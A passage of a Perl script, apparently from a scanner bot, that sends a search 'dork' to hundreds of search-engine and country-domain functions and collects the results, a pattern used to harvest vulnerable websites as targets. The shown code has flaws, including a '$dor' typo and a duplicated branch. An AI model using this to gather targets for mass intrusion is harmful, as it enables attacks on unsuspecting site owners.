  1978.     if ($engine eq "JacKCZ") { my @jackcz = &jack($dork."+site:cz",$jackcz); push(@total,@jackcz); }
  1979.     if ($engine eq "JacKDE") { my @jackde = &jack($dork."+site:de",$jackde); push(@total,@jackde); }
  1980.     if ($engine eq "JacKDK") { my @jackdk = &jack($dork."+site:dk",$jackdk); push(@total,@jackdk); }
  1981.     if ($engine eq "JacKES") { my @jackes = &jack($dork."+site:es",$jackes); push(@total,@jackes); }
  1982.     if ($engine eq "JacKEU") { my @jackeu = &jack($dork."+site:eu",$jackeu); push(@total,@jackeu); }
  1983.     if ($engine eq "JacKFR") { my @jackfr = &jack($dork."+site:fr",$jackfr); push(@total,@jackfr); }
  1984.     if ($engine eq "JacKHU") { my @jackhu = &jack($dork."+site:hu",$jackhu); push(@total,@jackhu); }
  1985.     if ($engine eq "JacKID") { my @jackid = &jack($dork."+site:id",$jackid); push(@total,@jackid); }
  1986.     if ($engine eq "JacKIL") { my @jackil = &jack($dork."+site:il",$jackil); push(@total,@jackil); }
  1987.     if ($engine eq "JacKIN") { my @jackin = &jack($dork."+site:in",$jackin); push(@total,@jackin); }
  1988.     if ($engine eq "JacKInfO") { my @jackinfo = &jack($dork."+site:info",$jackinfo); push(@total,@jackinfo); }
  1989.     if ($engine eq "JacKIR") { my @jackir = &jack($dork."+site:ir",$jackir); push(@total,@jackir); }
  1990.     if ($engine eq "JacKIT") { my @jackit = &jack($dork."+site:it",$jackit); push(@total,@jackit); }
  1991.     if ($engine eq "JacKJP") { my @jackjp = &jack($dork."+site:jp",$jackjp); push(@total,@jackjp); }
  1992.     if ($engine eq "JacKKR") { my @jackkr = &jack($dork."+site:kr",$jackkr); push(@total,@jackkr); }
  1993.     if ($engine eq "JacKMX") { my @jackmx = &jack($dork."+site:mx",$jackmx); push(@total,@jackmx); }
  1994.     if ($engine eq "JacKMY") { my @jackmy = &jack($dork."+site:my",$jackmy); push(@total,@jackmy); }
  1995.     if ($engine eq "JacKNeT") { my @jacknet = &jack($dork."+site:net",$jacknet); push(@total,@jacknet); }
  1996.     if ($engine eq "JacKNL") { my @jacknl = &jack($dork."+site:nl",$jacknl); push(@total,@jacknl); }
  1997.     if ($engine eq "JacKOrG") { my @jackorg = &jack($dork."+site:org",$jackorg); push(@total,@jackorg); }
  1998.     if ($engine eq "JacKPH") { my @jackph = &jack($dork."+site:ph",$jackph); push(@total,@jackph); }
  1999.     if ($engine eq "JacKPL") { my @jackpl = &jack($dork."+site:pl",$jackpl); push(@total,@jackpl); }
  2000.     if ($engine eq "JacKRO") { my @jackro = &jack($dork."+site:ro",$jackro); push(@total,@jackro); }
  2001.     if ($engine eq "JacKRU") { my @jackru = &jack($dork."+site:ru",$jackru); push(@total,@jackru); }
  2002.     if ($engine eq "JacKTH") { my @jackth = &jack($dork."+site:th",$jackth); push(@total,@jackth); }
  2003.     if ($engine eq "JacKUA") { my @jackua = &jack($dork."+site:ua",$jackua); push(@total,@jackua); }
  2004.     if ($engine eq "JacKUK") { my @jackuk = &jack($dork."+site:uk",$jackuk); push(@total,@jackuk); }
  2005.     if ($engine eq "JacKUS") { my @jackus = &jack($dork."+site:us",$jackus); push(@total,@jackus); }
  2006.     if ($engine eq "JacKSI") { my @jacksi = &jack($dork."+site:si",$jacksi); push(@total,@jacksi); }
  2007.     if ($engine eq "JacKBE") { my @jackbe = &jack($dork."+site:be",$jackbe); push(@total,@jackbe); }
  2008.     if ($engine eq "JacKBIZ") { my @jackbiz = &jack($dork."+site:biz",$jackbiz); push(@total,@jackbiz); }
  2009.     if ($engine eq "GooGLe") { my @google = &google($dork); push(@total,@google); }
  2010.     if ($engine eq "GooGLeCA") { my @googleCA = googleCA($dork); push(@total,@googleCA); }
  2011.     if ($engine eq "GooGLeDE") { my @googleDE = googleDE($dork); push(@total,@googleDE); }
  2012.     if ($engine eq "GooGLeUK") { my @googleUK = googleUK($dork); push(@total,@googleUK); }
  2013.     if ($engine eq "GooGLeFR") { my @googleFR = googleFR($dork); push(@total,@googleFR); }
  2014.     if ($engine eq "GooGLeES") { my @googleES = googleES($dork); push(@total,@googleES); }
  2015.     if ($engine eq "GooGLeIT") { my @googleIT = googleIT($dork); push(@total,@googleIT); }
  2016.     if ($engine eq "GooGLeNL") { my @googleNL = googleNL($dork); push(@total,@googleNL); }
  2017.     if ($engine eq "GooGLeBE") { my @googleBE = googleBE($dork); push(@total,@googleBE); }
  2018.     if ($engine eq "GooGLeCH") { my @googleCH = googleCH($dork); push(@total,@googleCH); }
  2019.     if ($engine eq "GooGLeSE") { my @googleSE = googleSE($dork); push(@total,@googleSE); }
  2020.     if ($engine eq "GooGLeDK") { my @googleDK = googleDK($dork); push(@total,@googleDK); }
  2021.     if ($engine eq "GooGLeNO") { my @googleNO = googleNO($dork); push(@total,@googleNO); }
  2022.     if ($engine eq "GooGLeNZ") { my @googleNZ = googleNZ($dork); push(@total,@googleNZ); }
  2023.     if ($engine eq "GooGLeIE") { my @googleIE = googleIE($dork); push(@total,@googleIE); }
  2024.     if ($engine eq "GooGLeBR") { my @googleBR = googleBR($dork); push(@total,@googleBR); }
  2025.     if ($engine eq "GooGLeAR") { my @googleAR = googleAR($dork); push(@total,@googleAR); }
  2026.     if ($engine eq "GooGLeCO") { my @googleCO = googleCO($dork); push(@total,@googleCO); }
  2027.     if ($engine eq "GooGLeCU") { my @googleCU = googleCU($dork); push(@total,@googleCU); }
  2028.     if ($engine eq "GooGLeCL") { my @googleCL = googleCL($dork); push(@total,@googleCL); }
  2029.     if ($engine eq "GooGLeMX") { my @googleMX = googleMX($dork); push(@total,@googleMX); }
  2030.     if ($engine eq "GooGLeAU") { my @googleAU = googleAU($dork); push(@total,@googleAU); }
  2031.     if ($engine eq "GooGLeRU") { my @googleRU = googleRU($dork); push(@total,@googleRU); }
  2032.     if ($engine eq "GooGLeAT") { my @googleAT = googleAT($dork); push(@total,@googleAT); }
  2033.     if ($engine eq "GooGLePL") { my @googlePL = googlePL($dork); push(@total,@googlePL); }
  2034.     if ($engine eq "GooGLeIL") { my @googleIL = googleIL($dork); push(@total,@googleIL); }
  2035.     if ($engine eq "GooGLeTR") { my @googleTR = googleTR($dork); push(@total,@googleTR); }
  2036.     if ($engine eq "GooGLeUA") { my @googleUA = googleUA($dork); push(@total,@googleUA); }
  2037.     if ($engine eq "GooGLeGR") { my @googleGR = googleGR($dork); push(@total,@googleGR); }
  2038.     if ($engine eq "GooGLeJP") { my @googleJP = googleJP($dork); push(@total,@googleJP); }
  2039.     if ($engine eq "GooGLeCN") { my @googleCN = googleCN($dork); push(@total,@googleCN); }
  2040.     if ($engine eq "GooGLeMY") { my @googleMY = googleMY($dork); push(@total,@googleMY); }
  2041.     if ($engine eq "GooGLeTH") { my @googleTH = googleTH($dork); push(@total,@googleTH); }
  2042.     if ($engine eq "GooGLeIN") { my @googleIN = googleIN($dork); push(@total,@googleIN); }
  2043.     if ($engine eq "GooGLeKR") { my @googleKR = googleKR($dork); push(@total,@googleKR); }
  2044.     if ($engine eq "GooGLeRO") { my @googleRO = googleRO($dork); push(@total,@googleRO); }
  2045.     if ($engine eq "GooGLeTW") { my @googleTW = googleTW($dork); push(@total,@googleTW); }
  2046.     if ($engine eq "GooGLeZA") { my @googleZA = googleZA($dork); push(@total,@googleZA); }
  2047.     if ($engine eq "GooGLePT") { my @googlePT = googlePT($dork); push(@total,@googlePT); }
  2048.     if ($engine eq "AE") { my @ae = &ae($dork); push(@total,@ae); }
  2049.     if ($engine eq "AR") { my @ar = &ar($dork); push(@total,@ar); }
  2050.     if ($engine eq "AT") { my @at = &at($dork); push(@total,@at); }
  2051.     if ($engine eq "AU") { my @au = &au($dork); push(@total,@au); }
  2052.     if ($engine eq "BR") { my @br = &br($dork); push(@total,@br); }
  2053.     if ($engine eq "CA") { my @ca = &ca($dork); push(@total,@ca); }
  2054.     if ($engine eq "CL") { my @cl = &cl($dork); push(@total,@cl); }
  2055.     if ($engine eq "CN") { my @cn = &cn($dork); push(@total,@cn); }
  2056.     if ($engine eq "CoM") { my @com = &com($dork); push(@total,@com); }
  2057.     if ($engine eq "CZ") { my @cz = &cz($dork); push(@total,@cz); }
  2058.     if ($engine eq "DE") { my @de = &de($dork); push(@total,@de); }
  2059.     if ($engine eq "DK") { my @dk = &dk($dork); push(@total,@dk); }
  2060.     if ($engine eq "ES") { my @es = &es($dork); push(@total,@es); }
  2061.     if ($engine eq "EU") { my @eu = &eu($dork); push(@total,@eu); }
  2062.     if ($engine eq "FR") { my @fr = &fr($dork); push(@total,@fr); }
  2063.     if ($engine eq "HU") { my @hu = &hu($dork); push(@total,@hu); }
  2064.     if ($engine eq "ID") { my @id = &id($dork); push(@total,@id); }
  2065.     if ($engine eq "IL") { my @il = &il($dork); push(@total,@il); }
  2066.     if ($engine eq "IN") { my @in = &in($dork); push(@total,@in); }
  2067.     if ($engine eq "InfO") { my @info = &info($dork); push(@total,@info); }
  2068.     if ($engine eq "IR") { my @ir = &ir($dork); push(@total,@ir); }
  2069.     if ($engine eq "IT") { my @it = &it($dork); push(@total,@it); }
  2070.     if ($engine eq "JP") { my @jp = &jp($dork); push(@total,@jp); }
  2071.     if ($engine eq "KR") { my @kr = &kr($dork); push(@total,@kr); }
  2072.     if ($engine eq "MX") { my @mx = &mx($dork); push(@total,@mx); }
  2073.     if ($engine eq "MY") { my @my = &my($dork); push(@total,@my); }
  2074.     if ($engine eq "NeT") { my @net = &net($dork); push(@total,@net); }
  2075.     if ($engine eq "NL") { my @nl = &nl($dork); push(@total,@nl); }
  2076.     if ($engine eq "OrG") { my @org = &org($dork); push(@total,@org); }
  2077.     if ($engine eq "PH") { my @ph = &ph($dork); push(@total,@ph); }
  2078.     if ($engine eq "PL") { my @pl = &pl($dork); push(@total,@pl); }
  2079.     if ($engine eq "RO") { my @ro = &ro($dork); push(@total,@ro); }
  2080.     if ($engine eq "RU") { my @ru = &ru($dork); push(@total,@ru); }
  2081.     if ($engine eq "TH") { my @th = &th($dork); push(@total,@th); }
  2082.     if ($engine eq "UA") { my @ua = &ua($dork); push(@total,@ua); }
  2083.     if ($engine eq "UK") { my @uk = &uk($dork); push(@total,@uk); }
  2084.     if ($engine eq "US") { my @us = &us($dork); push(@total,@us); }
  2085.     if ($engine eq "SI") { my @si = &si($dork); push(@total,@si); }
  2086.     if ($engine eq "BE") { my @be = &be($dork); push(@total,@be); }
  2087.     if ($engine eq "BIZ") { my @biz = &biz($dork); push(@total,@biz); }    
  2088.     if ($engine eq "XXX") { my @xxx = &xxx($dork); push(@total,@xxx); }
  2089.     if ($engine eq "TEL") { my @tel = &tel($dork); push(@total,@tel); }
  2090.     if ($engine eq "TV") { my @tv = &tv($dork); push(@total,@tv); }
  2091.     if ($engine eq "CC") { my @cc = &cc($dork); push(@total,@cc); }
  2092.     if ($engine eq "MIL") { my @mil = &mil($dork); push(@total,@mil); }
  2093.     if ($engine eq "ASIA") { my @asia = &asia($dork); push(@total,@asia); }
  2094.     if ($engine eq "NAME") { my @name = &name($dork); push(@total,@name); }
  2095.     if ($engine eq "PRO") { my @pro = &pro($dork); push(@total,@pro); }
  2096.     if ($engine eq "TRAVEL") { my @travel = &travel($dork); push(@total,@travel); }
  2097.     if ($engine eq "JOBS") { my @jobs = &jobs($dork); push(@total,@jobs); }
  2098.     if ($engine eq "MOBI") { my @mobi = &mobi($dork); push(@total,@mobi); }
  2099.     if ($engine eq "AERO") { my @aero = &aero($dork); push(@total,@aero); }
  2100.     if ($engine eq "CAT") { my @cat = &cat($dork); push(@total,@cat); }
  2101.     if ($engine eq "COOP") { my @coop = &coop($dork); push(@total,@coop); }
  2102.     if ($engine eq "EDU") { my @edu = &edu($dork); push(@total,@edu); }
  2103.     if ($engine eq "GOV") { my @gov = &gov($dork); push(@total,@gov); }
  2104.     if ($engine eq "AS") { my @as = &as($dork); push(@total,@as); }
  2105.     if ($engine eq "AI") { my @ai = &ai($dork); push(@total,@ai); }
  2106.     if ($engine eq "AG") { my @ag = &ag($dork); push(@total,@ag); }
  2107.     if ($engine eq "AZ") { my @az = &az($dork); push(@total,@az); }
  2108.     if ($engine eq "BH") { my @bh = &bh($dork); push(@total,@bh); }
  2109.     if ($engine eq "BD") { my @bd = &bd($dork); push(@total,@bd); }
  2110.     if ($engine eq "BZ") { my @bz = &bz($dork); push(@total,@bz); }
  2111.     if ($engine eq "BO") { my @bo = &bo($dork); push(@total,@bo); }
  2112.     if ($engine eq "BA") { my @ba = &ba($dork); push(@total,@ba); }
  2113.     if ($engine eq "VG") { my @vg = &vg($dork); push(@total,@vg); }
  2114.     if ($engine eq "BG") { my @bg = &bg($dork); push(@total,@bg); }
  2115.     if ($engine eq "BI") { my @bi = &bi($dork); push(@total,@bi); }
  2116.     if ($engine eq "CO") { my @co = &co($dork); push(@total,@co); }
  2117.     if ($engine eq "CD") { my @cd = &cd($dork); push(@total,@cd); }
  2118.     if ($engine eq "CG") { my @cg = &cg($dork); push(@total,@cg); }
  2119.     if ($engine eq "CK") { my @ck = &ck($dork); push(@total,@ck); }
  2120.     if ($engine eq "CR") { my @cr = &cr($dork); push(@total,@cr); }
  2121.     if ($engine eq "HR") { my @hr = &hr($dork); push(@total,@hr); }
  2122.     if ($engine eq "CU") { my @cu = &cu($dork); push(@total,@cu); }
  2123.     if ($engine eq "CI") { my @ci = &ci($dork); push(@total,@ci); }
  2124.     if ($engine eq "DJ") { my @dj = &dj($dork); push(@total,@dj); }
  2125.     if ($engine eq "DM") { my @dm = &dm($dork); push(@total,@dm); }
  2126.     if ($engine eq "DO") { my @do = &do($dork); push(@total,@do); }
  2127.     if ($engine eq "EC") { my @ec = &ec($dork); push(@total,@ec); }
  2128.     if ($engine eq "EG") { my @eg = &eg($dork); push(@total,@eg); }
  2129.     if ($engine eq "SV") { my @sv = &sv($dork); push(@total,@sv); }
  2130.     if ($engine eq "EE") { my @ee = &ee($dork); push(@total,@ee); }
  2131.     if ($engine eq "ET") { my @et = &et($dork); push(@total,@et); }
  2132.     if ($engine eq "FJ") { my @fj = &fj($dork); push(@total,@fj); }
  2133.     if ($engine eq "FI") { my @fi = &fi($dork); push(@total,@fi); }
  2134.     if ($engine eq "GM") { my @gm = &gm($dork); push(@total,@gm); }
  2135.     if ($engine eq "GI") { my @gi = &gi($dork); push(@total,@gi); }
  2136.     if ($engine eq "GR") { my @gr = &gr($dork); push(@total,@gr); }
  2137.     if ($engine eq "GL") { my @gl = &gl($dork); push(@total,@gl); }
  2138.     if ($engine eq "GT") { my @gt = &gt($dork); push(@total,@gt); }
  2139.     if ($engine eq "GG") { my @gg = &gg($dork); push(@total,@gg); }
  2140.     if ($engine eq "HT") { my @ht = &ht($dork); push(@total,@ht); }
  2141.     if ($engine eq "HN") { my @hn = &hn($dork); push(@total,@hn); }
  2142.     if ($engine eq "HK") { my @hk = &hk($dork); push(@total,@hk); }
  2143.     if ($engine eq "IS") { my @is = &is($dork); push(@total,@is); }
  2144.     if ($engine eq "IE") { my @ie = &ie($dork); push(@total,@ie); }
  2145.     if ($engine eq "IM") { my @im = &im($dork); push(@total,@im); }
  2146.     if ($engine eq "JE") { my @je = &je($dork); push(@total,@je); }
  2147.     if ($engine eq "JO") { my @jo = &jo($dork); push(@total,@jo); }
  2148.     if ($engine eq "KZ") { my @kz = &kz($dork); push(@total,@kz); }
  2149.     if ($engine eq "KE") { my @ke = &ke($dork); push(@total,@ke); }
  2150.     if ($engine eq "KG") { my @kg = &kg($dork); push(@total,@kg); }
  2151.     if ($engine eq "LV") { my @lv = &lv($dork); push(@total,@lv); }
  2152.     if ($engine eq "LS") { my @ls = &ls($dork); push(@total,@ls); }
  2153.     if ($engine eq "LY") { my @ly = &ly($dork); push(@total,@ly); }
  2154.     if ($engine eq "LI") { my @li = &li($dork); push(@total,@li); }
  2155.     if ($engine eq "LT") { my @lt = &lt($dork); push(@total,@lt); }
  2156.     if ($engine eq "LU") { my @lu = &lu($dork); push(@total,@lu); }
  2157.     if ($engine eq "MW") { my @mw = &mw($dork); push(@total,@mw); }
  2158.     if ($engine eq "MT") { my @mt = &mt($dork); push(@total,@mt); }
  2159.     if ($engine eq "MU") { my @mu = &mu($dork); push(@total,@mu); }
  2160.     if ($engine eq "FM") { my @fm = &fm($dork); push(@total,@fm); }
  2161.     if ($engine eq "MN") { my @mn = &mn($dork); push(@total,@mn); }
  2162.     if ($engine eq "MS") { my @ms = &ms($dork); push(@total,@ms); }
  2163.     if ($engine eq "MA") { my @ma = &ma($dork); push(@total,@ma); }
  2164.     if ($engine eq "NA") { my @na = &na($dork); push(@total,@na); }
  2165.     if ($engine eq "NP") { my @np = &np($dork); push(@total,@np); }
  2166.     if ($engine eq "NZ") { my @nz = &nz($dork); push(@total,@nz); }
  2167.     if ($engine eq "NI") { my @ni = &ni($dork); push(@total,@ni); }
  2168.     if ($engine eq "NF") { my @nf = &nf($dork); push(@total,@nf); }
  2169.     if ($engine eq "NO") { my @no = &no($dork); push(@total,@no); }
  2170.     if ($engine eq "OM") { my @om = &om($dork); push(@total,@om); }
  2171.     if ($engine eq "PK") { my @pk = &pk($dork); push(@total,@pk); }
  2172.     if ($engine eq "PA") { my @pa = &pa($dork); push(@total,@pa); }
  2173.     if ($engine eq "PY") { my @py = &py($dork); push(@total,@py); }
  2174.     if ($engine eq "PE") { my @pe = &pe($dork); push(@total,@pe); }
  2175.     if ($engine eq "PN") { my @pn = &pn($dork); push(@total,@pn); }
  2176.     if ($engine eq "PT") { my @pt = &pt($dork); push(@total,@pt); }
  2177.     if ($engine eq "PR") { my @pr = &pr($dork); push(@total,@pr); }
  2178.     if ($engine eq "QA") { my @qa = &qa($dork); push(@total,@qa); }
  2179.     if ($engine eq "RW") { my @rw = &rw($dork); push(@total,@rw); }
  2180.     if ($engine eq "SH") { my @sh = &sh($dork); push(@total,@sh); }
  2181.     if ($engine eq "SM") { my @sm = &sm($dork); push(@total,@sm); }
  2182.     if ($engine eq "SA") { my @sa = &sa($dork); push(@total,@sa); }
  2183.     if ($engine eq "SN") { my @sn = &sn($dork); push(@total,@sn); }
  2184.     if ($engine eq "SC") { my @sc = &sc($dork); push(@total,@sc); }
  2185.     if ($engine eq "SG") { my @sg = &sg($dork); push(@total,@sg); }
  2186.     if ($engine eq "SK") { my @sk = &sk($dork); push(@total,@sk); }
  2187.     if ($engine eq "ZA") { my @za = &za($dork); push(@total,@za); }
  2188.     if ($engine eq "LK") { my @lk = &lk($dork); push(@total,@lk); }
  2189.     if ($engine eq "VC") { my @vc = &vc($dork); push(@total,@vc); }
  2190.     if ($engine eq "SE") { my @se = &se($dork); push(@total,@se); }
  2191.     if ($engine eq "CH") { my @ch = &ch($dork); push(@total,@ch); }
  2192.     if ($engine eq "TW") { my @tw = &tw($dork); push(@total,@tw); }
  2193.     if ($engine eq "TJ") { my @tj = &tj($dork); push(@total,@tj); }
  2194.     if ($engine eq "BS") { my @bs = &bs($dork); push(@total,@bs); }
  2195.     if ($engine eq "TO") { my @to = &to($dork); push(@total,@to); }
  2196.     if ($engine eq "TT") { my @tt = &tt($dork); push(@total,@tt); }
  2197.     if ($engine eq "TR") { my @tr = &tr($dork); push(@total,@tr); }
  2198.     if ($engine eq "TM") { my @tm = &tm($dork); push(@total,@tm); }
  2199.     if ($engine eq "VI") { my @vi = &vi($dork); push(@total,@vi); }
  2200.     if ($engine eq "UG") { my @ug = &ug($dork); push(@total,@ug); }
  2201.     if ($engine eq "UY") { my @uy = &uy($dork); push(@total,@uy); }
  2202.     if ($engine eq "UZ") { my @uz = &uz($dork); push(@total,@uz); }
  2203.     if ($engine eq "VE") { my @ve = &ve($dork); push(@total,@ve); }
  2204.     if ($engine eq "VN") { my @vn = &vn($dork); push(@total,@vn); }
  2205.     if ($engine eq "ZM") { my @zm = &zm($dork); push(@total,@zm); }
  2206.     if ($engine eq "ws") { my @ws = &ws($dork); push(@total,@ws); }
  2207.     if ($engine eq "af") { my @af = &af($dork); push(@total,@af); }
  2208.     if ($engine eq "ax") { my @ax = &ax($dork); push(@total,@ax); }
  2209.     if ($engine eq "al") { my @al = &al($dork); push(@total,@al); }
  2210.     if ($engine eq "dz") { my @dz = &dz($dork); push(@total,@dz); }
  2211.     if ($engine eq "ao") { my @ao = &ao($dork); push(@total,@ao); }
  2212.     if ($engine eq "aq") { my @aq = &aq($dork); push(@total,@aq); }
  2213.     if ($engine eq "am") { my @am = &am($dork); push(@total,@am); }
  2214.     if ($engine eq "aw") { my @aw = &aw($dork); push(@total,@aw); }
  2215.     if ($engine eq "ac") { my @ac = &ac($dork); push(@total,@ac); }
  2216.     if ($engine eq "bj") { my @bj = &bj($dork); push(@total,@bj); }
  2217.     if ($engine eq "bm") { my @bm = &bm($dork); push(@total,@bm); }
  2218.     if ($engine eq "bt") { my @bt = &bt($dork); push(@total,@bt); }
  2219.     if ($engine eq "bw") { my @bw = &bw($dork); push(@total,@bw); }
  2220.     if ($engine eq "io") { my @io = &io($dork); push(@total,@io); }
  2221.     if ($engine eq "bn") { my @bn = &bn($dork); push(@total,@bn); }
  2222.     if ($engine eq "bf") { my @bf = &bf($dork); push(@total,@bf); }
  2223.     if ($engine eq "kh") { my @kh = &kh($dork); push(@total,@kh); }
  2224.     if ($engine eq "cm") { my @cm = &cm($dork); push(@total,@cm); }
  2225.     if ($engine eq "cv") { my @cv = &cv($dork); push(@total,@cv); }
  2226.         if ($engine eq "ky") { my @ky = &ky($dork); push(@total,@ky); }
  2227.     if ($engine eq "cf") { my @cf = &cf($dork); push(@total,@cf); }
  2228.     if ($engine eq "cx") { my @cx = &cx($dork); push(@total,@cx); }
  2229.     if ($engine eq "cw") { my @cw = &cw($dork); push(@total,@cw); }
  2230.     if ($engine eq "cy") { my @cy = &cy($dork); push(@total,@cy); }
  2231.     if ($engine eq "fk") { my @fk = &fk($dork); push(@total,@fk); }
  2232.     if ($engine eq "fo") { my @fo = &fo($dork); push(@total,@fo); }
  2233.     if ($engine eq "gh") { my @gh = &gh($dork); push(@total,@gh); }
  2234.     if ($engine eq "gd") { my @gd = &gd($dork); push(@total,@gd); }
  2235.     if ($engine eq "gp") { my @gp = &gp($dork); push(@total,@gp); }
  2236.     if ($engine eq "gu") { my @gu = &gu($dork); push(@total,@gu); }
  2237.     if ($engine eq "gn") { my @gn = &gn($dork); push(@total,@gn); }
  2238.     if ($engine eq "gy") { my @gy = &gy($dork); push(@total,@gy); }
  2239.     if ($engine eq "hm") { my @hm = &hm($dork); push(@total,@hm); }
  2240.     if ($engine eq "iq") { my @iq = &iq($dork); push(@total,@iq); }
  2241.     if ($engine eq "jm") { my @jm = &jm($dork); push(@total,@jm); }
  2242.     if ($engine eq "ki") { my @ki = &ki($dork); push(@total,@ki); }
  2243.     if ($engine eq "kw") { my @kw = &kw($dork); push(@total,@kw); }
  2244.     if ($engine eq "la") { my @la = &la($dork); push(@total,@la); }
  2245.     if ($engine eq "lb") { my @lb = &lb($dork); push(@total,@lb); }
  2246.         if ($engine eq "lr") { my @lr = &lr($dork); push(@total,@lr); }
  2247.     if ($engine eq "mo") { my @mo = &mo($dork); push(@total,@mo); }
  2248.     if ($engine eq "mg") { my @mg = &mg($dork); push(@total,@mg); }
  2249.     if ($engine eq "mv") { my @mv = &mv($dork); push(@total,@mv); }
  2250.     if ($engine eq "mp") { my @mp = &mp($dork); push(@total,@mp); }
  2251.     if ($engine eq "mq") { my @mq = &mq($dork); push(@total,@mq); }
  2252.     if ($engine eq "mr") { my @mr = &mr($dork); push(@total,@mr); }
  2253.     if ($engine eq "yt") { my @yt = &yt($dork); push(@total,@yt); }
  2254.     if ($engine eq "md") { my @md = &md($dork); push(@total,@md); }
  2255.     if ($engine eq "mc") { my @mc = &mc($dork); push(@total,@mc); }
  2256.     if ($engine eq "me") { my @me = &me($dork); push(@total,@me); }
  2257.     if ($engine eq "mz") { my @mz = &mz($dork); push(@total,@mz); }
  2258.     if ($engine eq "nr") { my @nr = &nr($dor); push(@total,@nr); }
  2259.     if ($engine eq "nc") { my @nc = &nc($dork); push(@total,@nc); }
  2260.     if ($engine eq "ng") { my @ng = &ng($dork); push(@total,@ng); }
  2261.     if ($engine eq "nu") { my @nu = &nu($dork); push(@total,@nu); }
  2262.     if ($engine eq "pw") { my @pw = &pw($dork); push(@total,@pw); }
  2263.     if ($engine eq "ps") { my @ps = &ps($dork); push(@total,@ps); }
  2264.     if ($engine eq "cq") { my @cq = &cq($dork); push(@total,@cq); }
  2265.     if ($engine eq "re") { my @re = &re($dork); push(@total,@re); }
  2266.     if ($engine eq "lc") { my @lc = &lc($dork); push(@total,@lc); }
  2267.     if ($engine eq "pm") { my @pm = &pm($dork); push(@total,@pm); }
  2268.     if ($engine eq "st") { my @st = &st($dork); push(@total,@st); }
  2269.     if ($engine eq "rs") { my @rs = &rs($dork); push(@total,@rs); }
  2270.     if ($engine eq "gs") { my @gs = &gs($dork); push(@total,@gs); }
  2271.     if ($engine eq "sl") { my @sl = &sl($dork); push(@total,@sl); }
  2272.     if ($engine eq "sx") { my @sx = &sx($dork); push(@total,@sx); }
  2273.     if ($engine eq "sb") { my @sb = &sb($dork); push(@total,@sb); }
  2274.     if ($engine eq "so") { my @so = &so($dork); push(@total,@so); }
  2275.     if ($engine eq "su") { my @su = &su($dork); push(@total,@su); }
  2276.     if ($engine eq "kn") { my @kn = &kn($dork); push(@total,@kn); }
  2277.     if ($engine eq "sr") { my @sr = &sr($dork); push(@total,@sr); }
  2278.     if ($engine eq "tz") { my @tz = &tz($dork); push(@total,@tz); }
  2279.     if ($engine eq "tl") { my @tl = &tl($dork); push(@total,@tl); }
  2280.     if ($engine eq "tg") { my @tg = &tg($dork); push(@total,@tg); }
  2281.     if ($engine eq "tk") { my @tk = &tk($dork); push(@total,@tk); }
  2282.     if ($engine eq "tn") { my @tn = &tn($dork); push(@total,@tn); }
  2283.     if ($engine eq "tc") { my @tc = &tc($dork); push(@total,@tc); }
  2284.     if ($engine eq "vu") { my @vu = &vu($dork); push(@total,@vu); }
  2285.     if ($engine eq "wf") { my @wf = &wf($dork); push(@total,@wf); }
  2286.     if ($engine eq "ws") { my @ws = &ws($dork); push(@total,@ws); }
  2287.     if ($engine eq "ye") { my @ye = &ye($dork); push(@total,@ye); }
  2288.     if ($engine eq "zw") { my @zw = &zw($dork); push(@total,@zw); }
  2289.     if ($engine eq "WaLLa") { my @walla = &walla($dork); push(@total,@walla); }
  2290.     if ($engine eq "YaHoo") { my @yahoo = &yahoo($dork); push(@total,@yahoo); }
  2291.     if ($engine eq "YahOoCA") { my @yahooCA = yahooCA($dork); push(@total,@yahooCA); }
  2292.     if ($engine eq "YahOoUK") { my @yahooUK = yahooUK($dork); push(@total,@yahooUK); }
  2293.     if ($engine eq "YahOoDE") { my @yahooDE = yahooDE($dork); push(@total,@yahooDE); }
  2294.     if ($engine eq "YahOoFR") { my @yahooFR = yahooFR($dork); push(@total,@yahooFR); }
  2295.     if ($engine eq "YahOoES") { my @yahooES = yahooES($dork); push(@total,@yahooES); }
  2296.     if ($engine eq "YahOoIT") { my @yahooIT = yahooIT($dork); push(@total,@yahooIT); }
  2297.     if ($engine eq "YahOoHK") { my @yahooHK = yahooHK($dork); push(@total,@yahooHK); }
  2298.     if ($engine eq "YahOoID") { my @yahooID = yahooID($dork); push(@total,@yahooID); }
  2299.     if ($engine eq "YahOoIN") { my @yahooIN = yahooIN($dork); push(@total,@yahooIN); }
  2300.     if ($engine eq "YahOoAU") { my @yahooAU = yahooAU($dork); push(@total,@yahooAU); }
  2301.     if ($engine eq "YahOoMX") { my @yahooMX = yahooMX($dork); push(@total,@yahooMX); }
  2302.     if ($engine eq "YahOoTW") { my @yahooTW = yahooTW($dork); push(@total,@yahooTW); }
  2303.     if ($engine eq "YahOoBR") { my @yahooBR = yahooBR($dork); push(@total,@yahooBR); }
  2304.     if ($engine eq "YahOoAR") { my @yahooAR = yahooAR($dork); push(@total,@yahooAR); }
  2305.     if ($engine eq "YahOoNL") { my @yahooNL = yahooNL($dork); push(@total,@yahooNL); }
  2306.     if ($engine eq "YahOoDK") { my @yahooDK = yahooDK($dork); push(@total,@yahooDK); }
  2307.     if ($engine eq "YahOoPH") { my @yahooPH = yahooPH($dork); push(@total,@yahooPH); }
  2308.     if ($engine eq "YahOoCL") { my @yahooCL = yahooCL($dork); push(@total,@yahooCL); }
  2309.     if ($engine eq "YahOoRU") { my @yahooRU = yahooRU($dork); push(@total,@yahooRU); }
  2310.     if ($engine eq "YahOoCH") { my @yahooCH = yahooCH($dork); push(@total,@yahooCH); }
  2311.     if ($engine eq "YahOoCO") { my @yahooCO = yahooCO($dork); push(@total,@yahooCO); }
  2312.     if ($engine eq "YahOoFI") { my @yahooFI = yahooFI($dork); push(@total,@yahooFI); }
  2313.     if ($engine eq "YahOoRO") { my @yahooRO = yahooRO($dork); push(@total,@yahooRO); }
  2314.     if ($engine eq "YahOoVE") { my @yahooVE = yahooVE($dork); push(@total,@yahooVE); }
  2315.     if ($engine eq "YahOoAT") { my @yahooAT = yahooAT($dork); push(@total,@yahooAT); }
  2316.     if ($engine eq "YahOoPL") { my @yahooPL = yahooPL($dork); push(@total,@yahooPL); }
  2317.     if ($engine eq "YahOoKR") { my @yahooKR = yahooKR($dork); push(@total,@yahooKR); }
  2318.     if ($engine eq "YahOoNZ") { my @yahooNZ = yahooNZ($dork); push(@total,@yahooNZ); }
  2319.     if ($engine eq "YahOoGR") { my @yahooGR = yahooGR($dork); push(@total,@yahooGR); }
  2320.     if ($engine eq "YahOoPE") { my @yahooPE = yahooPE($dork); push(@total,@yahooPE); }
  2321.     if ($engine eq "AsK") { my @ask = &ask($dork); push(@total,@ask); }
  2322.     if ($engine eq "AsKCA") { my @askCA = askCA($dork); push(@total,@askCA); }
